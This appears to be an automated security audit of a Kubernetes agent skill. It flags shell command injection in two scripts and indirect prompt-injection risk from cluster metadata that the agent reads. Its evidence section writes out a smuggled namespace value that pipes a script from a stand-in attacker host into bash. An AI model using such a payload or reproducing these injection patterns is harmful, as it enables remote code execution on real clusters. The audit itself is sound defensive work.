kubernetes
Fail
Audited by Gen Agent Trust Hub on Feb 19, 2026
Risk Level: HIGHCOMMAND_EXECUTIONPROMPT_INJECTION
Full Analysis
- COMMAND_EXECUTION (HIGH): The script
scripts/security-audit.shis vulnerable to shell command injection. - Evidence: The variable
$NS_FLAGis constructed using the user-supplied$NAMESPACEargument and then used unquoted in commands likekubectl get pods $NS_FLAG. An attacker providing a namespace likedefault; curl attacker.com/shell | bashwould trigger the execution of the injected command. - COMMAND_EXECUTION (HIGH): The script
scripts/generate-manifest.shis vulnerable to command injection through shell expansion in heredocs. - Evidence: The script uses
cat << EOFto generate YAML manifests using variables like$NAMEand$NAMESPACE. Because theEOFdelimiter is unquoted, the shell will perform variable expansion and command substitution (e.g.,$(command)) inside the heredoc before it is output. If the agent interpolates untrusted data into these arguments, it could lead to arbitrary code execution. - PROMPT_INJECTION (LOW): The skill is susceptible to Indirect Prompt Injection (Category 8) due to its extensive use of cluster metadata as input for management tasks.
- Ingestion points: Multiple scripts (
cluster-health-check.sh,pre-upgrade-check.sh,security-audit.sh) ingest pod names, status messages, and event logs viakubectl. - Boundary markers: None. Data is read directly into shell variables or printed to stdout for the agent to process.
- Capability inventory: The skill possesses high-privilege capabilities including draining nodes, syncing ArgoCD applications, and generating security manifests.
- Sanitization: While scripts use
jqfor structured data parsing, there is no sanitization of string content (like pod names) that might contain malicious instructions targeting the agent's logic. - CREDENTIALS_UNSAFE (SAFE):
scripts/generate-manifest.shcontains placeholder credentials (e.g.,your-api-key-here). These are clearly illustrative and do not represent a leak of active secrets.
Recommendations
- AI detected serious security threats
Audit Metadata